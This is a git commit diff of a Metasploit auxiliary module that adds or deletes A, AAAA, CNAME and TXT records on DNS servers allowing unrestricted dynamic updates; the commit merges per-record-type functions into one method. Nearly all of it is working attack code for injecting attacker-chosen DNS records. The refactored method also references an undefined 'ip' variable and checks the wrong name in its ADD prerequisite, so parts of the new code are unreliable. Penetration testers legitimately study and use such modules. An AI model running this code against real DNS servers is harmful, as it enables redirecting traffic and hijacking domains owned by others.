simplify module, add AAAA support

This commit is contained in:
Brent Cook 2017-06-22 17:44:55 -05:00
parent cdf0091962
commit 125d14f81e
1 changed files with 44 additions and 128 deletions

View File

@ -14,171 +14,87 @@ class MetasploitModule < Msf::Auxiliary
This module allows adding and/or deleting a record to
any remote DNS server that allows unrestricted dynamic updates.},
'Author' => [ 'King Sabri <king.sabri[at]gmail.com>' ],
'References' =>
[
['URL', 'http://www.tenable.com/plugins/index.php?view=single&id=35372'],
['URL', 'https://github.com/KINGSABRI/CVE-in-Ruby/tree/master/NONE-CVE/DNSInject'],
['URL', 'https://www.christophertruncer.com/dns-modification-dnsinject-nessus-plugin-35372/'],
['URL', 'https://github.com/ChrisTruncer/PenTestScripts/blob/master/DNSInject.py']
],
'References' => [
['URL', 'http://www.tenable.com/plugins/index.php?view=single&id=35372'],
['URL', 'https://github.com/KINGSABRI/CVE-in-Ruby/tree/master/NONE-CVE/DNSInject'],
['URL', 'https://www.christophertruncer.com/dns-modification-dnsinject-nessus-plugin-35372/'],
['URL', 'https://github.com/ChrisTruncer/PenTestScripts/blob/master/DNSInject.py']
],
'License' => MSF_LICENSE,
'Actions' =>
[
['ADD', {'Description' => 'Add a new record. [Default]'}],
['DEL', {'Description' => 'Delete an existing record.'}]
],
'Actions' => [
['ADD', {'Description' => 'Add a new record. [Default]'}],
['DEL', {'Description' => 'Delete an existing record.'}]
],
'DefaultAction' => 'ADD'
)
register_options([
OptString.new('DOMAIN', [true, 'The domain name']),
OptAddress.new('NS', [true, 'The vulnerable DNS server IP address']),
OptString.new('INJECTDOMAIN', [true, 'The name record you want to inject']),
OptAddress.new('INJECTIP', [true, 'The IP you want to assign to the injected record']),
OptEnum.new('TYPE', [true, 'The record type you want to inject.', 'A', ['A', 'CNAME', 'TXT']])
OptString.new('HOSTNAME', [true, 'The name record you want to inject']),
OptAddress.new('IP', [true, 'The IP you want to assign to the injected record']),
OptString.new('VALUE', [true, 'The string to be injected with TXT or CNAME record', 'w00t']),
OptEnum.new('TYPE', [true, 'The record type you want to inject.', 'A', ['A', 'AAAA', 'CNAME', 'TXT']])
])
register_advanced_options([
OptString.new('TXTSTRING', [true, 'The string to be injected with TXT record', 'w00t'
])
])
deregister_options('RHOST', 'RPORT')
end
def a_record(action)
def update_record(type:, type_enum:, value:)
# Send the update to the zone's primary master.
domain = datastore['DOMAIN']
fqdn = "#{datastore['HOSTNAME']}.#{domain}"
resolver = Dnsruby::Resolver.new({:nameserver => datastore['NS']})
update = Dnsruby::Update.new(datastore['DOMAIN'])
update = Dnsruby::Update.new(domain)
case
when action == 'ADD'
when action.name == 'ADD'
# Prerequisite is that no A records exist for the name.
update.absent("#{datastore['INJECTDOMAIN']}.", 'A')
update.absent("#{domain}.", type)
# Add two A records for the name.
update.add("#{datastore['INJECTDOMAIN']}.", Dnsruby::Types.A , 86400, datastore['INJECTIP'])
update.add("#{fqdn}.", type_enum, 86400, value)
begin
resolver.send_message(update)
print_good("The record '#{datastore['INJECTDOMAIN']} => #{datastore['INJECTIP']}' has been added!")
rescue Dnsruby::YXRRSet => e
print_error("Can't inject #{datastore['INJECTDOMAIN']}. Make sure the DNS server is vulnerable or domain already exists.")
vprint_error("Update failed: #{e}")
end
when action == 'DEL'
begin
update.present(datastore['INJECTDOMAIN'], 'A')
update.delete(datastore['INJECTDOMAIN'], 'A')
resolver.send_message(update)
print_good("The record '#{datastore['INJECTDOMAIN']} => #{datastore['INJECTIP']}' has been deleted!")
rescue Dnsruby::NXRRSet => e
print_error("Can't delete #{datastore['INJECTDOMAIN']}. DNS server is vulnerable or domain doesn't exist.")
vprint_error "Update failed: #{e}"
end
end
end
def cname_record(action)
resolver = Dnsruby::Resolver.new({:nameserver => datastore['NS']})
update = Dnsruby::Update.new(datastore['DOMAIN'])
case
when action == 'ADD'
update.absent(datastore['INJECTDOMAIN'])
update.add(datastore['INJECTDOMAIN'], Dnsruby::Types.CNAME, 86400, datastore['DOMAIN'])
begin
resolver.send_message(update)
print_good("The record '#{datastore['INJECTDOMAIN']} => #{datastore['DOMAIN']}' has been added!")
rescue Dnsruby::YXDomain => e
print_error("Can't inject #{datastore['INJECTDOMAIN']}. Make sure the DNS server is vulnerable or domain already exists.")
vprint_error("Update failed: #{e}")
end
when action == 'DEL'
begin
update.present(datastore['INJECTDOMAIN'], 'CNAME')
update.delete(datastore['INJECTDOMAIN'], 'CNAME')
resolver.send_message(update)
print_good("The record '#{datastore['INJECTDOMAIN']} => #{datastore['DOMAIN']}' has been deleted!")
print_good("The record '#{fqdn} => #{ip}' has been added!")
rescue Exception => e
print_error("Can't delete #{datastore['INJECTDOMAIN']}. DNS server is vulnerable or domain doesn't exist.")
vprint_error "Update failed: #{e}"
end
end
end
def txt_record(action)
resolver = Dnsruby::Resolver.new({:nameserver => datastore['NS']})
update = Dnsruby::Update.new(datastore['DOMAIN'])
case
when action == 'ADD'
update.absent(datastore['INJECTDOMAIN'])
update.add(datastore['INJECTDOMAIN'], Dnsruby::Types.TXT, 86400, datastore['TXTSTRING'])
begin
resolver.send_message(update)
print_good("The record '#{datastore['INJECTDOMAIN']} => #{datastore['TXTSTRING']}' has been added!")
rescue Dnsruby::YXDomain => e
print_error("Can't inject #{datastore['INJECTDOMAIN']}. Make sure the DNS server is vulnerable or domain already exists.")
vprint_error("Update failed: #{e}")
print_error "Cannot inject #{fqdn}. Make sure the DNS server is vulnerable or hostname already exists."
vprint_error "Update failed: #{e.message}"
end
when action == 'DEL'
begin
update.present(datastore['INJECTDOMAIN'], 'TXT')
update.delete(datastore['INJECTDOMAIN'], 'TXT')
update.present(fqdn, type)
update.delete(fqdn, type)
resolver.send_message(update)
print_good("The record '#{datastore['INJECTDOMAIN']} => #{datastore['TXTSTRING']}' has been deleted!")
rescue Dnsruby::NXRRSet => e
print_error("Can't delete #{datastore['INJECTDOMAIN']}. DNS server is vulnerable or domain doesn't exist.")
vprint_error "Update failed: #{e}"
end
end
end
def mx_record(action)
resolver = Dnsruby::Resolver.new({:nameserver => datastore['NS']})
update = Dnsruby::Update.new(datastore['DOMAIN'])
case
when action == 'ADD'
# Add A record for MX record
a_record(action) rescue $!.class == Dnsruby::YXRRSet # Avoid 'a_record' exception and keep going
update.present(datastore['INJECTDOMAIN'])
update.add(datastore['INJECTDOMAIN'], Dnsruby::Types.MX, 10, datastore['INJECTDOMAIN'])
begin
resolver.send_message(update)
print_good("The record '#{datastore['INJECTDOMAIN']} => #{datastore['INJECTIP']}' has been added!")
rescue ::Exception => e
print_error("Can't inject #{datastore['INJECTDOMAIN']}. Make sure the DNS server is vulnerable or domain already exists.")
vprint_error("Update failed: #{e}")
end
when action == 'DEL'
begin
update.present(datastore['INJECTDOMAIN'], 'MX')
update.delete(datastore['INJECTDOMAIN'], 'MX')
resolver.send_message(update)
print_good("The record '#{datastore['INJECTDOMAIN']} => #{datastore['INJECTIP']}' has been deleted!")
print_good("The record '#{fqdn} => #{ip}' has been deleted!")
rescue Exception => e
print_error("Can't delete #{datastore['INJECTDOMAIN']}. DNS server is vulnerable or domain doesn't exist.")
vprint_error "Update failed: #{e}"
print_error "Cannot delete #{fqdn}. DNS server is vulnerable or domain doesn't exist."
vprint_error "Update failed: #{e.message}"
end
end
end
def run
ip = datastore['IP']
value = datastore['VALUE']
begin
print_status("Sending DNS query payload...")
case
when datastore['TYPE'] == 'A'
a_record(action.name)
when datastore['TYPE'] == 'CNAME'
cname_record(action.name)
when datastore['TYPE'] == 'TXT'
txt_record(action.name)
# MX does not work yet
# when datastore['TYPE'] == 'MX'
# mx_record(action.name)
else
print_error "Invalid Record Type!"
when datastore['TYPE'] == 'A'
update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip)
when datastore['TYPE'] == 'AAAA'
update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip)
when datastore['TYPE'] == 'CNAME'
update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value)
when datastore['TYPE'] == 'TXT'
update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value)
else
print_error "Invalid Record Type!"
end
rescue ArgumentError => e
print_error(e.message)
rescue Dnsruby::OtherResolvError
print_error("Connection Refused!")
rescue Dnsruby::DecodeError
print_error("None DNS protocol answer!, Make sure it's a DNS service")
print_error("Invalid DNS reply, ensure you are connecting to a DNS server")
end
end